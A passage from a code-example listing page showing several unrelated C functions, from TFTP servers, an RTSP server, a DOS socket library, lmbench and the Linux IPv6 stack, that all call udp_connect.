						DCC_LOG(LOG_TRACE, "last packet...");
						state = TFTPD_IDLE;
						if (len == 0) {
							tftp_ack(udp, block, &sin);
							break;
						}
					} else {
						DCC_LOG2(LOG_TRACE, "rcvd octet: addr=0x%08x n=%d", 
								 addr, len);
						/* ACK the packet before writing to
						   speed up the transfer, errors are postponed... */
						tftp_ack(udp, block, &sin);
					}

					n = target_mem_write(addr, hdr->th_data, len);

					if (n < len) {
						if (n < 0) {
							DCC_LOG(LOG_ERROR, "target_mem_write()!");
							sprintf(msg, "TARGET WRITE FAIL: %08x", addr);
							WARN("memory write failed at "
								   "addr=0x%08x, code %d", addr, n);
						} else {
							DCC_LOG2(LOG_WARNING, "short writ: "
									 "ret(%d) < len(%d)!", n, len);
							sprintf(msg, "TARGET SHORT WRITE: %08x", 
									addr + n);
						}
						tftp_error(udp, &sin, TFTP_EUNDEF, msg);
						state = TFTPD_RECV_ERROR;
					} else {
						if (n > len) {
							DCC_LOG2(LOG_WARNING, "long write: "
									 "ret(%d) < len(%d)!", n, len);
						}
						if (state == TFTPD_IDLE) {
							/* ack the last packet ... */
							tftp_ack(udp, block, &sin);
						}
					}
					break;
				}

				if (state == TFTPD_RECV_ERROR) {
//					tftp_error(udp, &sin, TFTP_EUNDEF, "TARGET WRITE FAIL.");
					state = TFTPD_IDLE;
					break;
				}

				if (state == TFTPD_RECV_NETASCII) {
					block++;
					if (len != blksize) {
						state = TFTPD_IDLE;
						if (len == 0) {
							tftp_ack(udp, block, &sin);
							break;
						}
					}
					DCC_LOG1(LOG_TRACE, "ASCII recv %d...", len);
					tftp_recv_netascii(udp, &sin, block, 
									   (char *)hdr->th_data, len);
					break;
				}

				tftp_error(udp, &sin, TFTP_EUNDEF, NULL);
				break;

			case TFTP_ERROR:
				DCC_LOG2(LOG_TRACE, "error: %d: %s.", 
						 htons(hdr->th_code), hdr->th_data);
				break;

			}

			if (state == TFTPD_IDLE) {
				DCC_LOG(LOG_TRACE, "[IDLE]");
				break;
			}

			DBG("TFTP: UDP receive ...");

			if ((len = udp_recv_tmo(udp, buf, MAX_TFTP_MSG, &sin, 5000)) < 0) {
				if (len == -ETIMEDOUT) {
					DCC_LOG(LOG_WARNING, "udp_recv_tmo() timeout!");
					WARN("TFTP: UDP receive timeout!");
				} else {
					if (len == -ECONNREFUSED) {
						DCC_LOG(LOG_WARNING, "udp_recv_tmo() lost peer!");
						WARN("TFTP: UDP peer lost!");
					} else {
						DCC_LOG(LOG_WARNING, "udp_recv_tmo() failed!");
						WARN("TFTP: UDP receive failed!");
					}
				}
				/* break the inner loop */
				break;
			}

			opc = htons(hdr->th_opcode);
		}

		/* disconnect */
		DCC_LOG(LOG_TRACE, "disconnecting.");
		udp_connect(udp, INADDR_ANY, 0);
	}
}
コード例 #12
0
ファイル: serverUDP.c プロジェクト: BugBerter/COMP4320
int main(int argc, char *argv[])
{
    if (argc < 2) {
        printf("Correct usage is serverUDP <port #>\n");
        exit(1);
    }

    int sockfd = udp_connect(argv[1]);
    struct client_request *request;
    uint16_t message_length;

    struct server_response *response;

    for (;;)
    {
        printf("Waiting to read client request\n");

        request = read_request(sockfd);

        if (request->operation == VLENGTH_OPERATION)
        {
            printf("Sending numvowels\n");

            uint16_t vowels = htons(num_vowels(request->message));

            response = malloc(sizeof(struct server_response));
            response->length = htons(0x0006);
            response->rid = request->rid; // already network endian

            printf("#vowels: %d\n", ntohs(vowels));

            memcpy(&response->msg, &vowels, 2);

            printf("Write:\n\tLength: %d\n\tRID: %d\n\tMessage:%d\n",
                response->length, response->rid, ntohs((uint16_t)response->msg));

            sendto(sockfd, response, 6, 0, request->addr, request->sock_len);

            printf("Sent numvowels\n");
        }
        else if (request->operation == DISVOWEL_OPERATION)
        {
            printf("Sending disvowlered string\n");
            // + 1 for the null byte
            char *disvoweled = disvowel(request->message, request->length - 5);

            int c = 0,
                disvoweled_length = strlen(disvoweled),     // -1 for the null byte
                message_length = HEADER_RESPONSE_LENGTH + disvoweled_length;

            response = malloc(sizeof(struct server_response));
            response->length = htons(message_length);
            response->rid = request->rid;
            memcpy(response->msg, disvoweled, disvoweled_length);

            printf("Write:\n\tLength: %d\n\tRID: %d\n\tMessage:%s\n",
                response->length, response->rid, response->msg);

            sendto(sockfd, response, message_length, 0, request->addr, request->sock_len);

            printf("Sent numvowels\n");
        }
        else
        {
            printf("Invalid operation: %X\n", request->operation);
        }

        // throw it away because we're done
        free(request);
    }

    close(sockfd);

    return 0;
}
コード例 #13
0
ファイル: RTSP_setup.c プロジェクト: iamnpc/fenice-1.11
int RTSP_setup(RTSP_buffer * rtsp, RTSP_session ** new_session)
{
	char address[16];
	char object[255], server[255];
	char url[255];
	unsigned short port;
	RTSP_session *rtsp_s;
	RTP_session *rtp_s, *rtp_s_prec;
	int SessionID = 0;
//	port_pair cli_ports;
//	port_pair ser_ports;
	struct timeval now_tmp;
	char *p/* = NULL*/;
	unsigned int start_seq, start_rtptime;
	char transport_str[255];
	media_entry *list, *matching_me, req;
	struct sockaddr_storage rtsp_peer;
	socklen_t namelen = sizeof(rtsp_peer);
	unsigned long ssrc;
	SD_descr *matching_descr;
	unsigned char is_multicast_dad = 1;  //unicast and the first multicast
	RTP_transport transport;
	char *saved_ptr, *transport_tkn;
	int max_interlvd;

	// init
	memset(&req, 0, sizeof(req));
	memset(&transport, 0, sizeof(transport));
	
	// Parse the input message
	
	/* Get the URL */
	if (!sscanf(rtsp->in_buffer, " %*s %254s ", url)) {
		send_reply(400, 0, rtsp);	/* bad request */
		return ERR_NOERROR;
	}
	/* Validate the URL */
	switch (parse_url(url, server, sizeof(server), &port, object, sizeof(object))) {	//object is requested file's name
		case 1: // bad request
			send_reply(400, 0, rtsp);
			return ERR_NOERROR;
		case -1: // interanl server error
			send_reply(500, 0, rtsp);
			return ERR_NOERROR;
			break;
		default:
			break;
	}
	if (strcmp(server, prefs_get_hostname()) != 0) {	/* Currently this feature is disabled. */
		/* wrong server name */
		//      send_reply(404, 0 , rtsp); /* Not Found */
		//      return ERR_NOERROR;
	}
	if (strstr(object, "../")) {
		/* disallow relative paths outside of current directory. */
		send_reply(403, 0, rtsp);	/* Forbidden */
		return ERR_NOERROR;
	}
	if (strstr(object, "./")) {
		/* Disallow the ./ */
		send_reply(403, 0, rtsp);	/* Forbidden */
		return ERR_NOERROR;
	}

	if (!(p = strrchr(object, '.'))) {	// if filename is without extension
		send_reply(415, 0, rtsp);	/* Unsupported media type */
		return ERR_NOERROR;
	} else if (!is_supported_url(p)) {	//if filename's extension is not valid
		send_reply(415, 0, rtsp);	/* Unsupported media type */
		return ERR_NOERROR;
	}
	if ( !(p = strchr(object, '!')) ) {	//if '!' is not present then a file has not been specified
		send_reply(500, 0, rtsp);	/* Internal server error */
		return ERR_NOERROR;
	} else {
		// SETUP name.sd!stream
		strcpy(req.filename, p + 1);
		req.flags |= ME_FILENAME;

		*p = '\0';
	}

// ------------ START PATCH
	{
		char temp[255];
		char *pd=NULL;
		
		strcpy(temp, object);
#if 0
	printf("%s\n", object);
		// BEGIN 
		// if ( (p = strstr(temp, "/")) ) {
		if ( (p = strchr(temp, '/')) ) {
			strcpy(object, p + 1);	// CRITIC. 
		}
	printf("%s\n", temp);
#endif
		// pd = strstr(p, ".sd");	// this part is usefull in order to
		pd = strstr(temp, ".sd");
		if ( (p = strstr(pd + 1, ".sd")) ) {	// have compatibility with RealOne
			strcpy(object, pd + 4);	// CRITIC. 
		}		//Note: It's a critic part
		// END 
	}
// ------------ END PATCH
	if (enum_media(object, &matching_descr) != ERR_NOERROR) {
		send_reply(500, 0, rtsp);	/* Internal server error */
		return ERR_NOERROR;
	}
	list=matching_descr->me_list;

	if (get_media_entry(&req, list, &matching_me) == ERR_NOT_FOUND) {
		send_reply(404, 0, rtsp);	/* Not found */
		return ERR_NOERROR;
	}
	
	// Get the CSeq 
	if ((p = strstr(rtsp->in_buffer, HDR_CSEQ)) == NULL) {
		send_reply(400, 0, rtsp);	/* Bad Request */
		return ERR_NOERROR;
	} else {
		if (sscanf(p, "%*s %d", &(rtsp->rtsp_cseq)) != 1) {
			send_reply(400, 0, rtsp);	/* Bad Request */
			return ERR_NOERROR;
		}
	}
	/*if ((p = strstr(rtsp->in_buffer, "ssrc")) != NULL) {
		p = strchr(p, '=');
		sscanf(p + 1, "%lu", &ssrc);
	} else {*/
		ssrc = random32(0);
	//}
	
	// Start parsing the Transport header
	if ((p = strstr(rtsp->in_buffer, HDR_TRANSPORT)) == NULL) {
		send_reply(406, "Require: Transport settings" /* of rtp/udp;port=nnnn. "*/, rtsp);	/* Not Acceptable */
		return ERR_NOERROR;
	}
	if (sscanf(p, "%*10s%255s", transport_str) != 1) {
		fnc_log(FNC_LOG_ERR,"SETUP request malformed: Transport string is empty\n");
		send_reply(400, 0, rtsp);	/* Bad Request */
		return ERR_NOERROR;
	}
	printf("transport: %s\n", transport_str); // XXX tmp.
	
	// tokenize the coma seaparated list of transport settings:
	if ( !(transport_tkn=strtok_r(transport_str, ",", &saved_ptr)) ) {
		fnc_log(FNC_LOG_ERR,"Malformed Transport string from client\n");
		send_reply(400, 0, rtsp);	/* Bad Request */
		return ERR_NOERROR;
	}
	
	if (getpeername(rtsp->fd, (struct sockaddr *)&rtsp_peer, &namelen) != 0) {
		send_reply(415, 0, rtsp);	// Internal server error
		return ERR_GENERIC;
	}
	
	transport.type = RTP_no_transport;
	do { // search a good transport string
		if ( (p = strstr(transport_tkn, RTSP_RTP_AVP)) ) { // Transport: RTP/AVP
			p += strlen(RTSP_RTP_AVP);
			if ( !*p || (*p == ';') || (*p == ' ')) {
#if 0
				// if ((p = strstr(rtsp->in_buffer, "client_port")) == NULL && strstr(rtsp->in_buffer, "multicast") == NULL) {
				if ((p = strstr(transport_tkn, "client_port")) == NULL && strstr(transport_tkn, "multicast") == NULL) {
					send_reply(406, "Require: Transport settings of rtp/udp;port=nnnn. ", rtsp);	/* Not Acceptable */
					return ERR_NOERROR;
				}
#endif // #if 0
				if (strstr(transport_tkn, "unicast")) {
					if( (p = strstr(transport_tkn, "client_port")) ) {
						p = strstr(p, "=");
						sscanf(p + 1, "%d", &(transport.u.udp.cli_ports.RTP));
						p = strstr(p, "-");
						sscanf(p + 1, "%d", &(transport.u.udp.cli_ports.RTCP));
					}
					if (RTP_get_port_pair(&transport.u.udp.ser_ports) != ERR_NOERROR) {
						send_reply(500, 0, rtsp);	/* Internal server error */
						return ERR_GENERIC;
					}
					
					// strcpy(address, get_address());
					//UDP connection for outgoing RTP packets
					udp_connect(transport.u.udp.cli_ports.RTP, &transport.u.udp.rtp_peer, (*((struct sockaddr_in *) (&rtsp_peer))).sin_addr.s_addr,&transport.rtp_fd);
					//UDP connection for outgoing RTCP packets
					udp_connect(transport.u.udp.cli_ports.RTCP, &transport.u.udp.rtcp_out_peer,(*((struct sockaddr_in *) (&rtsp_peer))).sin_addr.s_addr, &transport.rtcp_fd_out);
					udp_open(transport.u.udp.ser_ports.RTCP, &transport.u.udp.rtcp_in_peer, &transport.rtcp_fd_in);	//bind
					
					transport.u.udp.is_multicast = 0;
				} else if ( matching_descr->flags & SD_FL_MULTICAST ) {	/*multicast*/
				//  TODO: make the difference between only multicast allowed or unicast fallback allowed.
					transport.u.udp.cli_ports.RTP = transport.u.udp.ser_ports.RTP =matching_me->rtp_multicast_port;
					transport.u.udp.cli_ports.RTCP = transport.u.udp.ser_ports.RTCP =matching_me->rtp_multicast_port+1;
					
					is_multicast_dad = 0;
					if (!(matching_descr->flags & SD_FL_MULTICAST_PORT) ) {	
						struct in_addr inp;
						unsigned char ttl=DEFAULT_TTL;
						struct ip_mreq mreq;

						mreq.imr_multiaddr.s_addr = inet_addr(matching_descr->multicast);
						mreq.imr_interface.s_addr = INADDR_ANY;
						setsockopt(transport.rtp_fd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq));
						setsockopt(transport.rtp_fd, IPPROTO_IP, IP_MULTICAST_TTL, &ttl, sizeof(ttl));

						is_multicast_dad = 1;
						strcpy(address, matching_descr->multicast);
						//RTP outgoing packets
						inet_aton(address, &inp);
						udp_connect(transport.u.udp.ser_ports.RTP, &transport.u.udp.rtp_peer, inp.s_addr, &transport.rtp_fd);
						//RTCP outgoing packets
						inet_aton(address, &inp);
						udp_connect(transport.u.udp.ser_ports.RTCP, &transport.u.udp.rtcp_out_peer, inp.s_addr, &transport.rtcp_fd_out);
						//udp_open(transport.u.udp.ser_ports.RTCP, &(sp2->rtcp_in_peer), &(sp2->rtcp_fd_in));	//bind 
			
						if(matching_me->next==NULL)
							matching_descr->flags |= SD_FL_MULTICAST_PORT;
			
						matching_me->rtp_multicast_port = transport.u.udp.ser_ports.RTP;
						transport.u.udp.is_multicast = 1;
						fnc_log(FNC_LOG_DEBUG,"\nSet up socket for multicast ok\n");
					}
				} else
					continue;
				
				transport.type = RTP_rtp_avp;
				break; // found a valid transport
			} else if (!strncmp(p, "/TCP", 4)) { // Transport: RTP/AVP/TCP;interleaved=x-y // XXX still not finished
				if( (p = strstr(transport_tkn, "interleaved")) ) {
					p = strstr(p, "=");
					sscanf(p + 1, "%d", &(transport.u.tcp.interleaved.RTP));
					if ( (p = strstr(p, "-")) )
						sscanf(p + 1, "%d", &(transport.u.tcp.interleaved.RTCP));
					else
						transport.u.tcp.interleaved.RTCP = transport.u.tcp.interleaved.RTP + 1;
				} else { // search for max used interleved channel.
					max_interlvd = -1;
					for (rtp_s = (rtsp->session_list)?rtsp->session_list->rtp_session:NULL; rtp_s; rtp_s = rtp_s->next)
						max_interlvd = max(max_interlvd, (rtp_s->transport.type == RTP_rtp_avp_tcp)?rtp_s->transport.u.tcp.interleaved.RTCP:-1);
					transport.u.tcp.interleaved.RTP = max_interlvd + 1;
				 	transport.u.tcp.interleaved.RTCP = max_interlvd + 2;
				}
					
				transport.rtp_fd = rtsp->fd; // dup(rtsp->fd);
				transport.rtcp_fd_out = rtsp->fd; // dup(rtsp->fd);
				transport.rtcp_fd_in = -1;
					
				transport.type = RTP_rtp_avp_tcp;
				break; // found a valid transport
			}
		}
	} while ((transport_tkn=strtok_r(NULL, ",", &saved_ptr)));
	printf("rtp transport: %d\n", transport.type);
	
	if (transport.type == RTP_no_transport) {
		// fnc_log(FNC_LOG_ERR,"Unsupported Transport\n");
		send_reply(461, "Unsupported Transport", rtsp);	/* Bad Request */
		return ERR_NOERROR;
	}

	// If there's a Session header we have an aggregate control
	if ((p = strstr(rtsp->in_buffer, HDR_SESSION)) != NULL) {
		if (sscanf(p, "%*s %d", &SessionID) != 1) {
			send_reply(454, 0, rtsp);	/* Session Not Found */
			return ERR_NOERROR;
		}
	} else {
		// Generate a random Session number
		gettimeofday(&now_tmp, 0);
		srand((now_tmp.tv_sec * 1000) + (now_tmp.tv_usec / 1000));
#ifdef WIN32
		SessionID = rand();
#else
		SessionID = 1 + (int) (10.0 * rand() / (100000 + 1.0));
#endif
		if (SessionID == 0) {
			SessionID++;
		}
	}

	// Add an RTSP session if necessary
	if ( !rtsp->session_list ) {
		rtsp->session_list = (RTSP_session *) calloc(1, sizeof(RTSP_session));
	}
	rtsp_s = rtsp->session_list;
	
	// Setup the RTP session
	if (rtsp->session_list->rtp_session == NULL) {
		rtsp->session_list->rtp_session = (RTP_session *) calloc(1, sizeof(RTP_session));
		rtp_s = rtsp->session_list->rtp_session;
	} else {
		for (rtp_s = rtsp_s->rtp_session; rtp_s != NULL; rtp_s = rtp_s->next) {
			rtp_s_prec = rtp_s;
		}
		rtp_s_prec->next = (RTP_session *) calloc(1, sizeof(RTP_session));
		rtp_s = rtp_s_prec->next;
	}


#ifdef WIN32
	start_seq = rand();
	start_rtptime = rand();
#else
	// start_seq = 1 + (int) (10.0 * rand() / (100000 + 1.0));
	// start_rtptime = 1 + (int) (10.0 * rand() / (100000 + 1.0));
#if 0
	start_seq = 1 + (unsigned int) ((float)(0xFFFF) * ((float)rand() / (float)RAND_MAX));
	start_rtptime = 1 + (unsigned int) ((float)(0xFFFFFFFF) * ((float)rand() / (float)RAND_MAX));
#else
	start_seq = 1 + (unsigned int) (rand()%(0xFFFF));
	start_rtptime = 1 + (unsigned int) (rand()%(0xFFFFFFFF));
#endif
#endif
	if (start_seq == 0) {
		start_seq++;
	}
	if (start_rtptime == 0) {
		start_rtptime++;
	}
	rtp_s->pause = 1;
	strcpy(rtp_s->sd_filename, object);
	/*xxx*/
	rtp_s->current_media = (media_entry *) calloc(1, sizeof(media_entry));
	
	// if(!(matching_descr->flags & SD_FL_MULTICAST_PORT)){
	if( is_multicast_dad ) {
		if ( mediacpy(&rtp_s->current_media, &matching_me) ) {
			send_reply(500, 0, rtsp);	/* Internal server error */
			return ERR_GENERIC;
		}
	}

	gettimeofday(&now_tmp, 0);
	srand((now_tmp.tv_sec * 1000) + (now_tmp.tv_usec / 1000));
	rtp_s->start_rtptime = start_rtptime;
	rtp_s->start_seq = start_seq;
	memcpy(&rtp_s->transport, &transport, sizeof(transport));
	rtp_s->is_multicast_dad = is_multicast_dad;

	/*xxx*/
	rtp_s->sd_descr=matching_descr;
	
	rtp_s->sched_id = schedule_add(rtp_s);


	rtp_s->ssrc = ssrc;
	// Setup the RTSP session       
	rtsp_s->session_id = SessionID;
	*new_session = rtsp_s;

	fnc_log(FNC_LOG_INFO,"SETUP %s RTSP/1.0 ",url);
	send_setup_reply(rtsp, rtsp_s, matching_descr, rtp_s);	
	// See User-Agent 
	if ((p=strstr(rtsp->in_buffer, HDR_USER_AGENT))!=NULL) {
		char cut[strlen(p)];
		strcpy(cut,p);
		p=strstr(cut, "\n");
		cut[strlen(cut)-strlen(p)-1]='\0';
		fnc_log(FNC_LOG_CLIENT,"%s\n",cut);
	}
	else
		fnc_log(FNC_LOG_CLIENT,"- \n");

	return ERR_NOERROR;
}
コード例 #14
0
ファイル: net_tftp.c プロジェクト: 3sOx/asuswrt-merlin
static int _tftpd_open(tftp_info_t *info,char *hostname,char *filename,int mode)
{
    ebuf_t *buf = NULL;
    uint16_t type;
    int res;
    int retries;
    char ch = 0;
#ifdef RESCUE_MODE
	uint8_t asuslink[13] = "ASUSSPACELINK";
	uint8_t maclink[13]="snxxxxxxxxxxx";
	unsigned char tftpmask[4] = { 0xff, 0xff, 0xff, 0x00 };
	int i;
	char tftpnull;
	uint8_t ipaddr[4] = { 0xc0, 0xa8, 0x01, 0x0c };
	uint8_t hwaddr[6] = { 0x00, 0xe0, 0x18, 0x00, 0x3e, 0xc4 };
#endif

    /*
     * Open a UDP socket
     */    

    info->tftp_socket = udp_socket(UDP_PROTO_TFTP);
    info->tftp_lastblock = 0;
    info->tftp_error = 0;
    info->tftp_filemode = mode;

    /*
     * Listen for requests
     */

    res = udp_bind(info->tftp_socket,UDP_PROTO_TFTP);
    if (res < 0) return res;

    res = CFE_ERR_TIMEOUT;

    for (retries = 0; retries < tftp_max_retries; retries++) {
	while (console_status()) {
	    console_read(&ch,1);
	    if (ch == 3) break;
	}
	if (ch == 3) {
	    res = CFE_ERR_INTR;
	    break;
	}

	buf = udp_recv_with_timeout(info->tftp_socket,tftp_recv_timeout);
	if (buf == NULL) continue;

	/*
	 * Process the request
	 */

	ebuf_get_u16_be(buf,type);

	switch (type) {
	    case TFTP_OP_RRQ:
#ifdef RESCUE_MODE
                         udp_connect(info->tftp_socket,(uint16_t) buf->eb_usrdata);
                         ackport = buf->eb_usrdata;
                         memcpy(info->tftp_ipaddr,buf->eb_usrptr,IP_ADDR_LEN);
                         info->tftp_blknum = 1;
                         info->tftp_blklen = 0;
                         for (i=0; i<13; i++) {
                                if (buf->eb_ptr[i] != asuslink[i])
                                                break;
                         }
                         if (i==13) {
                                tftpipfrom[0]=buf->eb_ptr[16];
                                tftpipfrom[1]=buf->eb_ptr[15];
                                tftpipfrom[2]=buf->eb_ptr[14];
                                tftpipfrom[3]=buf->eb_ptr[13];
                                tftpipto[0]=buf->eb_usrptr[0];
                                tftpipto[1]=buf->eb_usrptr[1];
                                tftpipto[2]=buf->eb_usrptr[2];
                                tftpipto[3]=buf->eb_usrptr[3];
                                        net_setparam(NET_IPADDR,tftpipfrom);
                                        net_setparam(NET_NETMASK,tftpmask);
                                        net_setparam(NET_GATEWAY,tftpipfrom);
                                        ui_myshowifconfig();
                                        net_setnetvars();
                                        for (i=0; i<4; i++)
                                                ipaddr[i]=tftpipto[i];
                                        for (i=0; i<6; i++)
                                                hwaddr[i]=buf->eb_data[6+i];
                                        buf = udp_alloc();
                                        if (!buf) {
                                                res = CFE_ERR_TIMEOUT;
                                                break;
                                        }
                                        ebuf_append_u16_be(buf, 3);
                                        ebuf_append_u16_be(buf, 1);
                                        ebuf_append_bytes(buf,&tftpnull, 0);
                                        arp_delete(ipaddr);
                                        arp_add(ipaddr,hwaddr);
                                        udp_send(info->tftp_socket, buf, tftpipto);
                                }
                                else {
                                        for (i=0; i<13; i++) {
                                                if (buf->eb_ptr[i] != maclink[i])
                                                        break;
                                        }
                                        if (i==13) {
                                                tftpipfrom[0]=buf->eb_ptr[16];
                                                tftpipfrom[1]=buf->eb_ptr[15];
                                                tftpipfrom[2]=buf->eb_ptr[14];
                                                tftpipfrom[3]=buf->eb_ptr[13];
                                                tftpipto[0]=buf->eb_usrptr[0];
                                                tftpipto[1]=buf->eb_usrptr[1];
                                                tftpipto[2]=buf->eb_usrptr[2];
                                                tftpipto[3]=buf->eb_usrptr[3];
                                                net_setparam(NET_IPADDR,tftpipfrom);
                                                net_setparam(NET_NETMASK,tftpmask);
                                                net_setparam(NET_GATEWAY,tftpipfrom);
                                                ui_myshowifconfig();
                                                net_setnetvars();
                                                for (i=0; i<4; i++)
                                                        ipaddr[i]=tftpipto[i];
                                                for (i=0; i<6; i++)
                                                        hwaddr[i]=buf->eb_data[6+i];
                                                buf = udp_alloc();
                                                if (!buf) {
                                                        res = CFE_ERR_TIMEOUT;
                                                break;
                                        }
                                        ebuf_append_u16_be(buf, 3);
                                        ebuf_append_u16_be(buf, 1);
                                        ebuf_append_bytes(buf,&tftpnull, 0);
                                        arp_delete(ipaddr);
                                        arp_add(ipaddr,hwaddr);
                                        udp_send(info->tftp_socket, buf, tftpipto);
                                }
                        }
                        res = CFE_ERR_TIMEOUT;
#else
		udp_connect(info->tftp_socket,(uint16_t) buf->eb_usrdata);
		memcpy(info->tftp_ipaddr,buf->eb_usrptr,IP_ADDR_LEN);
		info->tftp_blknum = 1;
		info->tftp_blklen = 0;
		res = 0;
#endif
		break;

	    case TFTP_OP_WRQ:
		udp_connect(info->tftp_socket,(uint16_t) buf->eb_usrdata);
		memcpy(info->tftp_ipaddr,buf->eb_usrptr,IP_ADDR_LEN);
		info->tftp_blknum = 0;
		res = _tftp_readmore(info);
		break;

	    default:
		/* 
		 * we aren't expecting any of these messages
		 */
		res = CFE_ERR_PROTOCOLERR;
		break;
	}

	udp_free(buf);
	break;
    }

    if (res) {
	udp_close(info->tftp_socket);
	info->tftp_socket = -1;
    }

    return res;
}
コード例 #15
0
ファイル: connect.c プロジェクト: ya-mouse/dos-utils
/*
 * connect()
 *  "connect" will attempt to open a connection on a foreign IP address and
 *  foreign port address.  This is achieved by specifying the foreign IP
 *  address and foreign port number in the "servaddr".
 */
int W32_CALL connect (int s, const struct sockaddr *servaddr, int addrlen)
{
  struct   sockaddr_in  *addr   = (struct sockaddr_in*) servaddr;
  struct   sockaddr_in6 *addr6  = (struct sockaddr_in6*) servaddr;
  struct   Socket       *socket = _socklist_find (s);
  volatile int rc, sa_len;
  BOOL     is_ip6;

  SOCK_PROLOGUE (socket, "\nconnect:%d", s);

  is_ip6 = (socket->so_family == AF_INET6);
  sa_len = is_ip6 ? sizeof(*addr6) : sizeof(*addr);

  if (_sock_chk_sockaddr(socket, servaddr, addrlen) < 0)
     return (-1);

  if (socket->so_type == SOCK_STREAM)
  {
    if (socket->so_state & SS_ISCONNECTED)
    {
      SOCK_DEBUGF ((", EISCONN"));
      SOCK_ERRNO (EISCONN);
      return (-1);
    }
    if (socket->so_options & SO_ACCEPTCONN)
    {
      SOCK_DEBUGF ((", EOPNOTSUPP (listen sock)"));
      SOCK_ERRNO (EOPNOTSUPP);
      return (-1);
    }
    if (!is_ip6 && IN_MULTICAST(ntohl(addr->sin_addr.s_addr)))
    {
      SOCK_DEBUGF ((", EINVAL (mcast)"));
      SOCK_ERRNO (EINVAL);
      return (-1);
    }
    else if (is_ip6 && IN6_IS_ADDR_MULTICAST(&addr6->sin6_addr))
    {
      SOCK_DEBUGF ((", EINVAL (mcast)"));
      SOCK_ERRNO (EINVAL);
      return (-1);
    }
  }

  if (socket->remote_addr)
  {
    if ((socket->so_type == SOCK_STREAM) &&
        (socket->so_state & SS_NBIO))
       return nblk_connect (socket);

    SOCK_DEBUGF ((", connect already done!"));
    SOCK_ERRNO (EISCONN);
    return (-1);
  }

  socket->remote_addr = (struct sockaddr_in*) SOCK_CALLOC (sa_len);
  if (!socket->remote_addr)
  {
    SOCK_DEBUGF ((", ENOMEM (rem)"));
    SOCK_ERRNO (ENOMEM);
    return (-1);
  }

#if defined(USE_IPV6)
  if (is_ip6)
  {
    struct sockaddr_in6 *ra = (struct sockaddr_in6*)socket->remote_addr;

    ra->sin6_family = AF_INET6;
    ra->sin6_port   = addr6->sin6_port;
    memcpy (&ra->sin6_addr, &addr6->sin6_addr, sizeof(ra->sin6_addr));
  }
  else
#endif
  {
    socket->remote_addr->sin_family = AF_INET;
    socket->remote_addr->sin_port   = addr->sin_port;
    socket->remote_addr->sin_addr   = addr->sin_addr;
  }

  if (!socket->local_addr)
  {
    SOCK_DEBUGF ((", auto-binding"));

    socket->local_addr = (struct sockaddr_in*) SOCK_CALLOC (sa_len);
    if (!socket->local_addr)
    {
      free (socket->remote_addr);
      socket->remote_addr = NULL;
      SOCK_DEBUGF ((", ENOMEM (loc)"));
      SOCK_ERRNO (ENOMEM);
      return (-1);
    }

#if defined(USE_IPV6)
    if (is_ip6)
    {
      struct sockaddr_in6 *la = (struct sockaddr_in6*)socket->local_addr;

      la->sin6_family = AF_INET6;
      la->sin6_port   = htons (find_free_port(0,TRUE));
      memcpy (&la->sin6_addr, &in6addr_my_ip, sizeof(la->sin6_addr));
    }
    else
#endif
    {
      socket->local_addr->sin_family      = AF_INET;
      socket->local_addr->sin_port        = htons (find_free_port(0,TRUE));
      socket->local_addr->sin_addr.s_addr = htonl (my_ip_addr);
    }
  }

  SOCK_DEBUGF ((", src/dest ports: %u/%u",
                ntohs(socket->local_addr->sin_port),
                ntohs(socket->remote_addr->sin_port)));


  /* Not safe to run sock_daemon() now
   */
  _sock_crit_start();

  /* Setup SIGINT handler now.
   */
  if (_sock_sig_setup() < 0)
  {
    SOCK_ERRNO (EINTR);
    SOCK_DEBUGF ((", EINTR"));
    _sock_crit_stop();
    return (-1);
  }

  switch (socket->so_type)
  {
    case SOCK_STREAM:
         rc = tcp_connect (socket);
         break;

    case SOCK_DGRAM:
         rc = udp_connect (socket);
         break;

    case SOCK_RAW:
         rc = raw_connect (socket);
         break;

    default:
         SOCK_ERRNO (EPROTONOSUPPORT);
         rc = -1;
         break;
  }

  _sock_sig_restore();
  _sock_crit_stop();
  return (rc);
}
コード例 #16
0
ファイル: lat_udp.c プロジェクト: a-abella/centos-server
int
main(int ac, char **av)
{
	state_t state;
	int	c;
	int	parallel = 1;
	int	warmup = 0;
	int	repetitions = TRIES;
	int	msize = 4;
 	char	buf[256];
	char	*usage = "-s\n OR [-S] [-m <message size>] [-P <parallelism>] [-W <warmup>] [-N <repetitions>] server\n NOTE: message size must be >= 4\n";

	if (sizeof(int) != 4) {
		fprintf(stderr, "lat_udp: Wrong sequence size\n");
		return(1);
	}

	while (( c = getopt(ac, av, "sS:m:P:W:N:")) != EOF) {
		switch(c) {
		case 's': /* Server */
			if (fork() == 0) {
				server_main();
			}
			exit(0);
		case 'S': /* shutdown serverhost */
		{
			int seq, n;
			int sock = udp_connect(optarg,
					       UDP_XACT,
					       SOCKOPT_NONE);
			for (n = -1; n > -5; --n) {
				seq = htonl(n);
				(void) send(sock, &seq, sizeof(int), 0);
			}
			close(sock);
			exit (0);
		}
		case 'm':
			msize = atoi(optarg);
			if (msize < sizeof(int)) {
				lmbench_usage(ac, av, usage);
				msize = 4;
			}
			if (msize > MAX_MSIZE) {
				lmbench_usage(ac, av, usage);
				msize = MAX_MSIZE;
			}
			break;
		case 'P':
			parallel = atoi(optarg);
			if (parallel <= 0)
				lmbench_usage(ac, av, usage);
			break;
		case 'W':
			warmup = atoi(optarg);
			break;
		case 'N':
			repetitions = atoi(optarg);
			break;
		default:
			lmbench_usage(ac, av, usage);
			break;
		}
	}

	if (optind + 1 != ac) {
		lmbench_usage(ac, av, usage);
	}

	state.server = av[optind];
	state.msize = msize;
	benchmp(init, doit, cleanup, SHORT, parallel, 
		warmup, repetitions, &state);
	sprintf(buf, "UDP latency using %s", state.server);
	micro(buf, get_n());
	exit(0);
}
コード例 #17
0
ファイル: udp.c プロジェクト: kevin-longkai/edimax-br-6528n
int udpv6_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)
{
    struct sockaddr_in6	*usin = (struct sockaddr_in6 *) uaddr;
    struct ipv6_pinfo      	*np = &sk->net_pinfo.af_inet6;
    struct in6_addr		*daddr;
    struct in6_addr		saddr;
    struct dst_entry	*dst;
    struct flowi		fl;
    struct ip6_flowlabel	*flowlabel = NULL;
    int			addr_type;
    int			err;

    if (usin->sin6_family == AF_INET) {
        err = udp_connect(sk, uaddr, addr_len);
        goto ipv4_connected;
    }

    if (addr_len < SIN6_LEN_RFC2133)
        return -EINVAL;

    if (usin->sin6_family != AF_INET6)
        return -EAFNOSUPPORT;

    fl.fl6_flowlabel = 0;
    if (np->sndflow) {
